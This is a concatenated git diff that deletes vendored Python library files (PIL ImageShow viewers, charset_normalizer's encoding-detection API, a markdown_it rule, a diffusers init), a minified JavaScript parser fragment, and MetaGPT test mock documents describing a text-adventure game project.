-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        subprocess.Popen(["eog", "-n", path])
-        return 1
-
-
-class XVViewer(UnixViewer):
-    """
-    The X Viewer ``xv`` command.
-    This viewer supports the ``title`` parameter.
-    """
-
-    def get_command_ex(self, file, title=None, **options):
-        # note: xv is pretty outdated.  most modern systems have
-        # imagemagick's display command instead.
-        command = executable = "xv"
-        if title:
-            command += f" -name {quote(title)}"
-        return command, executable
-
-    def show_file(self, path, **options):
-        """
-        Display given file.
-        """
-        args = ["xv"]
-        title = options.get("title")
-        if title:
-            args += ["-name", title]
-        args.append(path)
-
-        subprocess.Popen(args)
-        return 1
-
-
-if sys.platform not in ("win32", "darwin"):  # unixoids
-    if shutil.which("xdg-open"):
-        register(XDGViewer)
-    if shutil.which("display"):
-        register(DisplayViewer)
-    if shutil.which("gm"):
-        register(GmDisplayViewer)
-    if shutil.which("eog"):
-        register(EogViewer)
-    if shutil.which("xv"):
-        register(XVViewer)
-
-
-class IPythonViewer(Viewer):
-    """The viewer for IPython frontends."""
-
-    def show_image(self, image, **options):
-        ipython_display(image)
-        return 1
-
-
-try:
-    from IPython.display import display as ipython_display
-except ImportError:
-    pass
-else:
-    register(IPythonViewer)
-
-
-if __name__ == "__main__":
-    if len(sys.argv) < 2:
-        print("Syntax: python3 ImageShow.py imagefile [title]")
-        sys.exit()
-
-    with Image.open(sys.argv[1]) as im:
-        print(show(im, *sys.argv[2:]))
diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/charset_normalizer/api.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/charset_normalizer/api.py
deleted file mode 100644
index 0ba08e3a50ba6d61e75f3f31772eb4dfdd3f8f05..0000000000000000000000000000000000000000
--- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/charset_normalizer/api.py
+++ /dev/null
@@ -1,626 +0,0 @@
-import logging
-from os import PathLike
-from typing import BinaryIO, List, Optional, Set, Union
-
-from .cd import (
-    coherence_ratio,
-    encoding_languages,
-    mb_encoding_languages,
-    merge_coherence_ratios,
-)
-from .constant import IANA_SUPPORTED, TOO_BIG_SEQUENCE, TOO_SMALL_SEQUENCE, TRACE
-from .md import mess_ratio
-from .models import CharsetMatch, CharsetMatches
-from .utils import (
-    any_specified_encoding,
-    cut_sequence_chunks,
-    iana_name,
-    identify_sig_or_bom,
-    is_cp_similar,
-    is_multi_byte_encoding,
-    should_strip_sig_or_bom,
-)
-
-# Will most likely be controversial
-# logging.addLevelName(TRACE, "TRACE")
-logger = logging.getLogger("charset_normalizer")
-explain_handler = logging.StreamHandler()
-explain_handler.setFormatter(
-    logging.Formatter("%(asctime)s | %(levelname)s | %(message)s")
-)
-
-
-def from_bytes(
-    sequences: Union[bytes, bytearray],
-    steps: int = 5,
-    chunk_size: int = 512,
-    threshold: float = 0.2,
-    cp_isolation: Optional[List[str]] = None,
-    cp_exclusion: Optional[List[str]] = None,
-    preemptive_behaviour: bool = True,
-    explain: bool = False,
-    language_threshold: float = 0.1,
-    enable_fallback: bool = True,
-) -> CharsetMatches:
-    """
-    Given a raw bytes sequence, return the best possibles charset usable to render str objects.
-    If there is no results, it is a strong indicator that the source is binary/not text.
-    By default, the process will extract 5 blocks of 512o each to assess the mess and coherence of a given sequence.
-    And will give up a particular code page after 20% of measured mess. Those criteria are customizable at will.
-
-    The preemptive behavior DOES NOT replace the traditional detection workflow, it prioritize a particular code page
-    but never take it for granted. Can improve the performance.
-
-    You may want to focus your attention to some code page or/and not others, use cp_isolation and cp_exclusion for that
-    purpose.
-
-    This function will strip the SIG in the payload/sequence every time except on UTF-16, UTF-32.
-    By default the library does not setup any handler other than the NullHandler, if you choose to set the 'explain'
-    toggle to True it will alter the logger configuration to add a StreamHandler that is suitable for debugging.
-    Custom logging format and handler can be set manually.
-    """
-
-    if not isinstance(sequences, (bytearray, bytes)):
-        raise TypeError(
-            "Expected object of type bytes or bytearray, got: {0}".format(
-                type(sequences)
-            )
-        )
-
-    if explain:
-        previous_logger_level: int = logger.level
-        logger.addHandler(explain_handler)
-        logger.setLevel(TRACE)
-
-    length: int = len(sequences)
-
-    if length == 0:
-        logger.debug("Encoding detection on empty bytes, assuming utf_8 intention.")
-        if explain:
-            logger.removeHandler(explain_handler)
-            logger.setLevel(previous_logger_level or logging.WARNING)
-        return CharsetMatches([CharsetMatch(sequences, "utf_8", 0.0, False, [], "")])
-
-    if cp_isolation is not None:
-        logger.log(
-            TRACE,
-            "cp_isolation is set. use this flag for debugging purpose. "
-            "limited list of encoding allowed : %s.",
-            ", ".join(cp_isolation),
-        )
-        cp_isolation = [iana_name(cp, False) for cp in cp_isolation]
-    else:
-        cp_isolation = []
-
-    if cp_exclusion is not None:
-        logger.log(
-            TRACE,
-            "cp_exclusion is set. use this flag for debugging purpose. "
-            "limited list of encoding excluded : %s.",
-            ", ".join(cp_exclusion),
-        )
-        cp_exclusion = [iana_name(cp, False) for cp in cp_exclusion]
-    else:
-        cp_exclusion = []
-
-    if length <= (chunk_size * steps):
-        logger.log(
-            TRACE,
-            "override steps (%i) and chunk_size (%i) as content does not fit (%i byte(s) given) parameters.",
-            steps,
-            chunk_size,
-            length,
-        )
-        steps = 1
-        chunk_size = length
-
-    if steps > 1 and length / steps < chunk_size:
-        chunk_size = int(length / steps)
-
-    is_too_small_sequence: bool = len(sequences) < TOO_SMALL_SEQUENCE
-    is_too_large_sequence: bool = len(sequences) >= TOO_BIG_SEQUENCE
-
-    if is_too_small_sequence:
-        logger.log(
-            TRACE,
-            "Trying to detect encoding from a tiny portion of ({}) byte(s).".format(
-                length
-            ),
-        )
-    elif is_too_large_sequence:
-        logger.log(
-            TRACE,
-            "Using lazy str decoding because the payload is quite large, ({}) byte(s).".format(
-                length
-            ),
-        )
-
-    prioritized_encodings: List[str] = []
-
-    specified_encoding: Optional[str] = (
-        any_specified_encoding(sequences) if preemptive_behaviour else None
-    )
-
-    if specified_encoding is not None:
-        prioritized_encodings.append(specified_encoding)
-        logger.log(
-            TRACE,
-            "Detected declarative mark in sequence. Priority +1 given for %s.",
-            specified_encoding,
-        )
-
-    tested: Set[str] = set()
-    tested_but_hard_failure: List[str] = []
-    tested_but_soft_failure: List[str] = []
-
-    fallback_ascii: Optional[CharsetMatch] = None
-    fallback_u8: Optional[CharsetMatch] = None
-    fallback_specified: Optional[CharsetMatch] = None
-
-    results: CharsetMatches = CharsetMatches()
-
-    sig_encoding, sig_payload = identify_sig_or_bom(sequences)
-
-    if sig_encoding is not None:
-        prioritized_encodings.append(sig_encoding)
-        logger.log(
-            TRACE,
-            "Detected a SIG or BOM mark on first %i byte(s). Priority +1 given for %s.",
-            len(sig_payload),
-            sig_encoding,
-        )
-
-    prioritized_encodings.append("ascii")
-
-    if "utf_8" not in prioritized_encodings:
-        prioritized_encodings.append("utf_8")
-
-    for encoding_iana in prioritized_encodings + IANA_SUPPORTED:
-        if cp_isolation and encoding_iana not in cp_isolation:
-            continue
-
-        if cp_exclusion and encoding_iana in cp_exclusion:
-            continue
-
-        if encoding_iana in tested:
-            continue
-
-        tested.add(encoding_iana)
-
-        decoded_payload: Optional[str] = None
-        bom_or_sig_available: bool = sig_encoding == encoding_iana
-        strip_sig_or_bom: bool = bom_or_sig_available and should_strip_sig_or_bom(
-            encoding_iana
-        )
-
-        if encoding_iana in {"utf_16", "utf_32"} and not bom_or_sig_available:
-            logger.log(
-                TRACE,
-                "Encoding %s won't be tested as-is because it require a BOM. Will try some sub-encoder LE/BE.",
-                encoding_iana,
-            )
-            continue
-        if encoding_iana in {"utf_7"} and not bom_or_sig_available:
-            logger.log(
-                TRACE,
-                "Encoding %s won't be tested as-is because detection is unreliable without BOM/SIG.",
-                encoding_iana,
-            )
-            continue
-
-        try:
-            is_multi_byte_decoder: bool = is_multi_byte_encoding(encoding_iana)
-        except (ModuleNotFoundError, ImportError):
-            logger.log(
-                TRACE,
-                "Encoding %s does not provide an IncrementalDecoder",
-                encoding_iana,
-            )
-            continue
-
-        try:
-            if is_too_large_sequence and is_multi_byte_decoder is False:
-                str(
-                    sequences[: int(50e4)]
-                    if strip_sig_or_bom is False
-                    else sequences[len(sig_payload) : int(50e4)],
-                    encoding=encoding_iana,
-                )
-            else:
-                decoded_payload = str(
-                    sequences
-                    if strip_sig_or_bom is False
-                    else sequences[len(sig_payload) :],
-                    encoding=encoding_iana,
-                )
-        except (UnicodeDecodeError, LookupError) as e:
-            if not isinstance(e, LookupError):
-                logger.log(
-                    TRACE,
-                    "Code page %s does not fit given bytes sequence at ALL. %s",
-                    encoding_iana,
-                    str(e),
-                )
-            tested_but_hard_failure.append(encoding_iana)
-            continue
-
-        similar_soft_failure_test: bool = False
-
-        for encoding_soft_failed in tested_but_soft_failure:
-            if is_cp_similar(encoding_iana, encoding_soft_failed):
-                similar_soft_failure_test = True
-                break
-
-        if similar_soft_failure_test:
-            logger.log(
-                TRACE,
-                "%s is deemed too similar to code page %s and was consider unsuited already. Continuing!",
-                encoding_iana,
-                encoding_soft_failed,
-            )
-            continue
-
-        r_ = range(
-            0 if not bom_or_sig_available else len(sig_payload),
-            length,
-            int(length / steps),
-        )
-
-        multi_byte_bonus: bool = (
-            is_multi_byte_decoder
-            and decoded_payload is not None
-            and len(decoded_payload) < length
-        )
-
-        if multi_byte_bonus:
-            logger.log(
-                TRACE,
-                "Code page %s is a multi byte encoding table and it appear that at least one character "
-                "was encoded using n-bytes.",
-                encoding_iana,
-            )
-
-        max_chunk_gave_up: int = int(len(r_) / 4)
-
-        max_chunk_gave_up = max(max_chunk_gave_up, 2)
-        early_stop_count: int = 0
-        lazy_str_hard_failure = False
-
-        md_chunks: List[str] = []
-        md_ratios = []
-
-        try:
-            for chunk in cut_sequence_chunks(
-                sequences,
-                encoding_iana,
-                r_,
-                chunk_size,
-                bom_or_sig_available,
-                strip_sig_or_bom,
-                sig_payload,
-                is_multi_byte_decoder,
-                decoded_payload,
-            ):
-                md_chunks.append(chunk)
-
-                md_ratios.append(
-                    mess_ratio(
-                        chunk,
-                        threshold,
-                        explain is True and 1 <= len(cp_isolation) <= 2,
-                    )
-                )
-
-                if md_ratios[-1] >= threshold:
-                    early_stop_count += 1
-
-                if (early_stop_count >= max_chunk_gave_up) or (
-                    bom_or_sig_available and strip_sig_or_bom is False
-                ):
-                    break
-        except (
-            UnicodeDecodeError
-        ) as e:  # Lazy str loading may have missed something there
-            logger.log(
-                TRACE,
-                "LazyStr Loading: After MD chunk decode, code page %s does not fit given bytes sequence at ALL. %s",
-                encoding_iana,
-                str(e),
-            )
-            early_stop_count = max_chunk_gave_up
-            lazy_str_hard_failure = True
-
-        # We might want to check the sequence again with the whole content
-        # Only if initial MD tests passes
-        if (
-            not lazy_str_hard_failure
-            and is_too_large_sequence
-            and not is_multi_byte_decoder
-        ):
-            try:
-                sequences[int(50e3) :].decode(encoding_iana, errors="strict")
-            except UnicodeDecodeError as e:
-                logger.log(
-                    TRACE,
-                    "LazyStr Loading: After final lookup, code page %s does not fit given bytes sequence at ALL. %s",
-                    encoding_iana,
-                    str(e),
-                )
-                tested_but_hard_failure.append(encoding_iana)
-                continue
-
-        mean_mess_ratio: float = sum(md_ratios) / len(md_ratios) if md_ratios else 0.0
-        if mean_mess_ratio >= threshold or early_stop_count >= max_chunk_gave_up:
-            tested_but_soft_failure.append(encoding_iana)
-            logger.log(
-                TRACE,
-                "%s was excluded because of initial chaos probing. Gave up %i time(s). "
-                "Computed mean chaos is %f %%.",
-                encoding_iana,
-                early_stop_count,
-                round(mean_mess_ratio * 100, ndigits=3),
-            )
-            # Preparing those fallbacks in case we got nothing.
-            if (
-                enable_fallback
-                and encoding_iana in ["ascii", "utf_8", specified_encoding]
-                and not lazy_str_hard_failure
-            ):
-                fallback_entry = CharsetMatch(
-                    sequences, encoding_iana, threshold, False, [], decoded_payload
-                )
-                if encoding_iana == specified_encoding:
-                    fallback_specified = fallback_entry
-                elif encoding_iana == "ascii":
-                    fallback_ascii = fallback_entry
-                else:
-                    fallback_u8 = fallback_entry
-            continue
-
-        logger.log(
-            TRACE,
-            "%s passed initial chaos probing. Mean measured chaos is %f %%",
-            encoding_iana,
-            round(mean_mess_ratio * 100, ndigits=3),
-        )
-
-        if not is_multi_byte_decoder:
-            target_languages: List[str] = encoding_languages(encoding_iana)
-        else:
-            target_languages = mb_encoding_languages(encoding_iana)
-
-        if target_languages:
-            logger.log(
-                TRACE,
-                "{} should target any language(s) of {}".format(
-                    encoding_iana, str(target_languages)
-                ),
-            )
-
-        cd_ratios = []
-
-        # We shall skip the CD when its about ASCII
-        # Most of the time its not relevant to run "language-detection" on it.
-        if encoding_iana != "ascii":
-            for chunk in md_chunks:
-                chunk_languages = coherence_ratio(
-                    chunk,
-                    language_threshold,
-                    ",".join(target_languages) if target_languages else None,
-                )
-
-                cd_ratios.append(chunk_languages)
-
-        cd_ratios_merged = merge_coherence_ratios(cd_ratios)
-
-        if cd_ratios_merged:
-            logger.log(
-                TRACE,
-                "We detected language {} using {}".format(
-                    cd_ratios_merged, encoding_iana
-                ),
-            )
-
-        results.append(
-            CharsetMatch(
-                sequences,
-                encoding_iana,
-                mean_mess_ratio,
-                bom_or_sig_available,
-                cd_ratios_merged,
-                decoded_payload,
-            )
-        )
-
-        if (
-            encoding_iana in [specified_encoding, "ascii", "utf_8"]
-            and mean_mess_ratio < 0.1
-        ):
-            logger.debug(
-                "Encoding detection: %s is most likely the one.", encoding_iana
-            )
-            if explain:
-                logger.removeHandler(explain_handler)
-                logger.setLevel(previous_logger_level)
-            return CharsetMatches([results[encoding_iana]])
-
-        if encoding_iana == sig_encoding:
-            logger.debug(
-                "Encoding detection: %s is most likely the one as we detected a BOM or SIG within "
-                "the beginning of the sequence.",
-                encoding_iana,
-            )
-            if explain:
-                logger.removeHandler(explain_handler)
-                logger.setLevel(previous_logger_level)
-            return CharsetMatches([results[encoding_iana]])
-
-    if len(results) == 0:
-        if fallback_u8 or fallback_ascii or fallback_specified:
-            logger.log(
-                TRACE,
-                "Nothing got out of the detection process. Using ASCII/UTF-8/Specified fallback.",
-            )
-
-        if fallback_specified:
-            logger.debug(
-                "Encoding detection: %s will be used as a fallback match",
-                fallback_specified.encoding,
-            )
-            results.append(fallback_specified)
-        elif (
-            (fallback_u8 and fallback_ascii is None)
-            or (
-                fallback_u8
-                and fallback_ascii
-                and fallback_u8.fingerprint != fallback_ascii.fingerprint
-            )
-            or (fallback_u8 is not None)
-        ):
-            logger.debug("Encoding detection: utf_8 will be used as a fallback match")
-            results.append(fallback_u8)
-        elif fallback_ascii:
-            logger.debug("Encoding detection: ascii will be used as a fallback match")
-            results.append(fallback_ascii)
-
-    if results:
-        logger.debug(
-            "Encoding detection: Found %s as plausible (best-candidate) for content. With %i alternatives.",
-            results.best().encoding,  # type: ignore
-            len(results) - 1,
-        )
-    else:
-        logger.debug("Encoding detection: Unable to determine any suitable charset.")
-
-    if explain:
-        logger.removeHandler(explain_handler)
-        logger.setLevel(previous_logger_level)
-
-    return results
-
-
-def from_fp(
-    fp: BinaryIO,
-    steps: int = 5,
-    chunk_size: int = 512,
-    threshold: float = 0.20,
-    cp_isolation: Optional[List[str]] = None,
-    cp_exclusion: Optional[List[str]] = None,
-    preemptive_behaviour: bool = True,
-    explain: bool = False,
-    language_threshold: float = 0.1,
-    enable_fallback: bool = True,
-) -> CharsetMatches:
-    """
-    Same thing than the function from_bytes but using a file pointer that is already ready.
-    Will not close the file pointer.
-    """
-    return from_bytes(
-        fp.read(),
-        steps,
-        chunk_size,
-        threshold,
-        cp_isolation,
-        cp_exclusion,
-        preemptive_behaviour,
-        explain,
-        language_threshold,
-        enable_fallback,
-    )
-
-
-def from_path(
-    path: Union[str, bytes, PathLike],  # type: ignore[type-arg]
-    steps: int = 5,
-    chunk_size: int = 512,
-    threshold: float = 0.20,
-    cp_isolation: Optional[List[str]] = None,
-    cp_exclusion: Optional[List[str]] = None,
-    preemptive_behaviour: bool = True,
-    explain: bool = False,
-    language_threshold: float = 0.1,
-    enable_fallback: bool = True,
-) -> CharsetMatches:
-    """
-    Same thing than the function from_bytes but with one extra step. Opening and reading given file path in binary mode.
-    Can raise IOError.
-    """
-    with open(path, "rb") as fp:
-        return from_fp(
-            fp,
-            steps,
-            chunk_size,
-            threshold,
-            cp_isolation,
-            cp_exclusion,
-            preemptive_behaviour,
-            explain,
-            language_threshold,
-            enable_fallback,
-        )
-
-
-def is_binary(
-    fp_or_path_or_payload: Union[PathLike, str, BinaryIO, bytes],  # type: ignore[type-arg]
-    steps: int = 5,
-    chunk_size: int = 512,
-    threshold: float = 0.20,
-    cp_isolation: Optional[List[str]] = None,
-    cp_exclusion: Optional[List[str]] = None,
-    preemptive_behaviour: bool = True,
-    explain: bool = False,
-    language_threshold: float = 0.1,
-    enable_fallback: bool = False,
-) -> bool:
-    """
-    Detect if the given input (file, bytes, or path) points to a binary file. aka. not a string.
-    Based on the same main heuristic algorithms and default kwargs at the sole exception that fallbacks match
-    are disabled to be stricter around ASCII-compatible but unlikely to be a string.
-    """
-    if isinstance(fp_or_path_or_payload, (str, PathLike)):
-        guesses = from_path(
-            fp_or_path_or_payload,
-            steps=steps,
-            chunk_size=chunk_size,
-            threshold=threshold,
-            cp_isolation=cp_isolation,
-            cp_exclusion=cp_exclusion,
-            preemptive_behaviour=preemptive_behaviour,
-            explain=explain,
-            language_threshold=language_threshold,
-            enable_fallback=enable_fallback,
-        )
-    elif isinstance(
-        fp_or_path_or_payload,
-        (
-            bytes,
-            bytearray,
-        ),
-    ):
-        guesses = from_bytes(
-            fp_or_path_or_payload,
-            steps=steps,
-            chunk_size=chunk_size,
-            threshold=threshold,
-            cp_isolation=cp_isolation,
-            cp_exclusion=cp_exclusion,
-            preemptive_behaviour=preemptive_behaviour,
-            explain=explain,
-            language_threshold=language_threshold,
-            enable_fallback=enable_fallback,
-        )
-    else:
-        guesses = from_fp(
-            fp_or_path_or_payload,
-            steps=steps,
-            chunk_size=chunk_size,
-            threshold=threshold,
-            cp_isolation=cp_isolation,
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-            language_threshold=language_threshold,
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deleted file mode 100644
index a7c3be04b40ee26948c21a6fd6fc575118b57216..0000000000000000000000000000000000000000
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+++ /dev/null
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v=g(h,this.clonePosition());o={style:c,styleLocation:v}}var x=this.tryParseArgumentClose(i);if(x.err)return x;var H=g(i,this.clonePosition());if(o&&Me(o?.style,"::",0)){var B=hn(o.style.slice(2));if(l==="number"){var f=this.parseNumberSkeletonFromString(B,o.styleLocation);return f.err?f:{val:{type:p.number,value:r,location:H,style:f.val},err:null}}else{if(B.length===0)return this.error(d.EXPECT_DATE_TIME_SKELETON,H);var b=B;this.locale&&(b=Jt(B,this.locale));var c={type:M.dateTime,pattern:b,location:o.styleLocation,parsedOptions:this.shouldParseSkeletons?kt(b):{}},w=l==="date"?p.date:p.time;return{val:{type:w,value:r,location:H,style:c},err:null}}}return{val:{type:l==="number"?p.number:l==="date"?p.date:p.time,value:r,location:H,style:(a=o?.style)!==null&&a!==void 0?a:null},err:null}}case"plural":case"selectordinal":case"select":{var S=this.clonePosition();if(this.bumpSpace(),!this.bumpIf(","))return this.error(d.EXPECT_SELECT_ARGUMENT_OPTIONS,g(S,_({},S)));this.bumpSpace();var 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-//# sourceMappingURL=Button-30a08c0b.js.map
diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/markdown_it/rules_core/block.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/markdown_it/rules_core/block.py
deleted file mode 100644
index a6c3bb8d7ae18880fd638690fb5b09beb78b103c..0000000000000000000000000000000000000000
--- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/markdown_it/rules_core/block.py
+++ /dev/null
@@ -1,13 +0,0 @@
-from ..token import Token
-from .state_core import StateCore
-
-
-def block(state: StateCore) -> None:
-    if state.inlineMode:
-        token = Token("inline", "", 0)
-        token.content = state.src
-        token.map = [0, 1]
-        token.children = []
-        state.tokens.append(token)
-    else:
-        state.md.block.parse(state.src, state.md, state.env, state.tokens)
diff --git a/spaces/declare-lab/tango/diffusers/src/diffusers/pipelines/audio_diffusion/__init__.py b/spaces/declare-lab/tango/diffusers/src/diffusers/pipelines/audio_diffusion/__init__.py
deleted file mode 100644
index 58554c45ea52b9897293217652db36fdace7549f..0000000000000000000000000000000000000000
--- a/spaces/declare-lab/tango/diffusers/src/diffusers/pipelines/audio_diffusion/__init__.py
+++ /dev/null
@@ -1,2 +0,0 @@
-from .mel import Mel
-from .pipeline_audio_diffusion import AudioDiffusionPipeline
diff --git a/spaces/deepwisdom/MetaGPT/tests/metagpt/actions/mock.py b/spaces/deepwisdom/MetaGPT/tests/metagpt/actions/mock.py
deleted file mode 100644
index a800690e8e04e79375ac51cbbfe02390cd4e9f11..0000000000000000000000000000000000000000
--- a/spaces/deepwisdom/MetaGPT/tests/metagpt/actions/mock.py
+++ /dev/null
@@ -1,512 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-"""
-@Time    : 2023/5/18 23:51
-@Author  : alexanderwu
-@File    : mock.py
-"""
-
-PRD_SAMPLE = """## Original Requirements
-The original requirement is to create a game similar to the classic text-based adventure game, Zork.
-
-## Product Goals
-```python
-product_goals = [
-    "Create an engaging text-based adventure game",
-    "Ensure the game is easy to navigate and user-friendly",
-    "Incorporate compelling storytelling and puzzles"
-]
-```
-
-## User Stories
-```python
-user_stories = [
-    "As a player, I want to be able to easily input commands so that I can interact with the game world",
-    "As a player, I want to explore various rooms and locations to uncover the game's story",
-    "As a player, I want to solve puzzles to progress in the game",
-    "As a player, I want to interact with various in-game objects to enhance my gameplay experience",
-    "As a player, I want a game that challenges my problem-solving skills and keeps me engaged"
-]
-```
-
-## Competitive Analysis
-```python
-competitive_analysis = [
-    "Zork: The original text-based adventure game with complex puzzles and engaging storytelling",
-    "The Hitchhiker's Guide to the Galaxy: A text-based game with a unique sense of humor and challenging gameplay",
-    "Colossal Cave Adventure: The first text adventure game which set the standard for the genre",
-    "Quest: A platform that lets users create their own text adventure games",
-    "ChatGPT: An AI that can generate text-based adventure games",
-    "The Forest of Doom: A text-based game with a fantasy setting and multiple endings",
-    "Wizards Choice: A text-based game with RPG elements and a focus on player choice"
-]
-```
-
-## Competitive Quadrant Chart
-```mermaid
-quadrantChart
-    title Reach and engagement of text-based adventure games
-    x-axis Low Reach --> High Reach
-    y-axis Low Engagement --> High Engagement
-    quadrant-1 High potential games
-    quadrant-2 Popular but less engaging games
-    quadrant-3 Less popular and less engaging games
-    quadrant-4 Popular and engaging games
-    "Zork": [0.9, 0.8]
-    "Hitchhiker's Guide": [0.7, 0.7]
-    "Colossal Cave Adventure": [0.8, 0.6]
-    "Quest": [0.4, 0.5]
-    "ChatGPT": [0.3, 0.6]
-    "Forest of Doom": [0.5, 0.4]
-    "Wizards Choice": [0.6, 0.5]
-    "Our Target Product": [0.5, 0.6]
-```
-
-## Requirement Analysis
-The goal is to create a text-based adventure game similar to Zork. The game should be engaging, user-friendly, and feature compelling storytelling and puzzles. It should allow players to explore various rooms and locations, interact with in-game objects, and solve puzzles to progress. The game should also challenge players' problem-solving skills and keep them engaged.
-
-## Requirement Pool
-```python
-requirement_pool = [
-    ("Design an intuitive command input system for player interactions", "P0"),
-    ("Create a variety of rooms and locations for players to explore", "P0"),
-    ("Develop engaging puzzles that players need to solve to progress", "P0"),
-    ("Incorporate a compelling story that unfolds as players explore the game world", "P1"),
-    ("Ensure the game is user-friendly and easy to navigate", "P1")
-]
-```
-
-## Anything UNCLEAR
-The original requirement did not specify the platform for the game (web, mobile, desktop) or any specific features or themes for the game's story and puzzles. More information on these aspects could help in further refining the product requirements and design.
-"""
-
-DESIGN_LLM_KB_SEARCH_SAMPLE = """## Implementation approach:
-
-The game will be developed as a console application in Python, which will allow it to be platform-independent. The game logic will be implemented using Object Oriented Programming principles. 
-
-The game will consist of different "rooms" or "locations" that the player can navigate. Each room will have different objects and puzzles that the player can interact with. The player's progress in the game will be determined by their ability to solve these puzzles.
-
-Python's in-built data structures like lists and dictionaries will be used extensively to manage the game state, player inventory, room details, etc. 
-
-For testing, we can use the PyTest framework. This is a mature full-featured Python testing tool that helps you write better programs.
-
-## Python package name:
-```python
-"adventure_game"
-```
-
-## File list:
-```python
-file_list = ["main.py", "room.py", "player.py", "game.py", "object.py", "puzzle.py", "test_game.py"]
-```
-
-## Data structures and interface definitions:
-```mermaid
-classDiagram
-    class Room{
-        +__init__(self, description: str, objects: List[Object])
-        +get_description(self) -> str
-        +get_objects(self) -> List[Object]
-    }
-    class Player{
-        +__init__(self, current_room: Room, inventory: List[Object])
-        +move(self, direction: str) -> None
-        +get_current_room(self) -> Room
-        +get_inventory(self) -> List[Object]
-    }
-    class Object{
-        +__init__(self, name: str, description: str, is_usable: bool)
-        +get_name(self) -> str
-        +get_description(self) -> str
-        +is_usable(self) -> bool
-    }
-    class Puzzle{
-        +__init__(self, question: str, answer: str, reward: Object)
-        +ask_question(self) -> str
-        +check_answer(self, player_answer: str) -> bool
-        +get_reward(self) -> Object
-    }
-    class Game{
-        +__init__(self, player: Player)
-        +start(self) -> None
-        +end(self) -> None
-    }
-    Room "1" -- "*" Object
-    Player "1" -- "1" Room
-    Player "1" -- "*" Object
-    Puzzle "1" -- "1" Object
-    Game "1" -- "1" Player
-```
-
-## Program call flow:
-```mermaid
-sequenceDiagram
-    participant main as main.py
-    participant Game as Game
-    participant Player as Player
-    participant Room as Room
-    main->>Game: Game(player)
-    Game->>Player: Player(current_room, inventory)
-    Player->>Room: Room(description, objects)
-    Game->>Game: start()
-    Game->>Player: move(direction)
-    Player->>Room: get_description()
-    Game->>Player: get_inventory()
-    Game->>Game: end()
-```
-
-## Anything UNCLEAR:
-The original requirements did not specify whether the game should have a save/load feature, multiplayer support, or any specific graphical user interface. More information on these aspects could help in further refining the product design and requirements.
-"""
-
-
-PROJECT_MANAGEMENT_SAMPLE = '''## Required Python third-party packages: Provided in requirements.txt format
-```python
-"pytest==6.2.5"
-```
-
-## Required Other language third-party packages: Provided in requirements.txt format
-```python
-```
-
-## Full API spec: Use OpenAPI 3.0. Describe all APIs that may be used by both frontend and backend.
-```python
-"""
-This project is a console-based application and doesn't require any API endpoints. All interactions will be done through the console interface.
-"""
-```
-
-## Logic Analysis: Provided as a Python list[str, str]. the first is filename, the second is class/method/function should be implemented in this file. Analyze the dependencies between the files, which work should be done first
-```python
-[
-    ("object.py", "Object"),
-    ("room.py", "Room"),
-    ("player.py", "Player"),
-    ("puzzle.py", "Puzzle"),
-    ("game.py", "Game"),
-    ("main.py", "main"),
-    ("test_game.py", "test_game")
-]
-```
-
-## Task list: Provided as Python list[str]. Each str is a filename, the more at the beginning, the more it is a prerequisite dependency, should be done first
-```python
-[
-    "object.py", 
-    "room.py", 
-    "player.py", 
-    "puzzle.py", 
-    "game.py", 
-    "main.py", 
-    "test_game.py"
-]
-```
-
-## Shared Knowledge: Anything that should be public like utils' functions, config's variables details that should make clear first. 
-```python
-"""
-Shared knowledge for this project includes understanding the basic principles of Object Oriented Programming, Python's built-in data structures like lists and dictionaries, and the PyTest framework for testing. 
-"""
-```
-
-## Anything UNCLEAR: Provide as Plain text. Make clear here. For example, don't forget a main entry. don't forget to init 3rd party libs.
-```python
-"""
-The original requirements did not specify whether the game should have a save/load feature, multiplayer support, or any specific graphical user interface. More information on these aspects could help in further refining the product design and requirements.
-"""
-```
-'''
-
-
-WRITE_CODE_PROMPT_SAMPLE = """
-你是一个工程师。下面是背景信息与你的当前任务，请为任务撰写代码。
-撰写的代码应该符合PEP8，优雅，模块化，易于阅读与维护，代码本身应该有__main__入口来防止桩函数
-
-## 用户编写程序所需的全部、详尽的文件路径列表（只需要相对路径，并不需要前缀，组织形式应该符合PEP规范）
-
-- `main.py`: 主程序文件
-- `search_engine.py`: 搜索引擎实现文件
-- `knowledge_base.py`: 知识库管理文件
-- `user_interface.py`: 用户界面文件
-- `data_import.py`: 数据导入功能文件
-- `data_export.py`: 数据导出功能文件
-- `utils.py`: 工具函数文件
-
-## 数据结构
-
-- `KnowledgeBase`: 知识库类，用于管理私有知识库的内容、分类、标签和关键词。
-- `SearchEngine`: 搜索引擎类，基于大语言模型，用于对用户输入的关键词或短语进行语义理解，并提供准确的搜索结果。
-- `SearchResult`: 搜索结果类，包含与用户搜索意图相关的知识库内容的相关信息。
-- `UserInterface`: 用户界面类，提供简洁、直观的用户界面，支持多种搜索方式和搜索结果的排序和过滤。
-- `DataImporter`: 数据导入类，支持多种数据格式的导入功能，用于将外部数据导入到知识库中。
-- `DataExporter`: 数据导出类，支持多种数据格式的导出功能，用于将知识库内容进行备份和分享。
-
-## API接口
-
-- `KnowledgeBase`类接口:
-  - `add_entry(entry: str, category: str, tags: List[str], keywords: List[str]) -> bool`: 添加知识库条目。
-  - `delete_entry(entry_id: str) -> bool`: 删除知识库条目。
-  - `update_entry(entry_id: str, entry: str, category: str, tags: List[str], keywords: List[str]) -> bool`: 更新知识库条目。
-  - `search_entries(query: str) -> List[str]`: 根据查询词搜索知识库条目。
-
-- `SearchEngine`类接口:
-  - `search(query: str) -> SearchResult`: 根据用户查询词进行搜索，返回与查询意图相关的搜索结果。
-
-- `UserInterface`类接口:
-  - `display_search_results(results: List[SearchResult]) -> None`: 显示搜索结果。
-  - `filter_results(results: List[SearchResult], filters: Dict[str, Any]) -> List[SearchResult]`: 根据过滤条件对搜索结果进行过滤。
-  - `sort_results(results: List[SearchResult], key: str, reverse: bool = False) -> List[SearchResult]`: 根据指定的键对搜索结果进行排序。
-
-- `DataImporter`类接口:
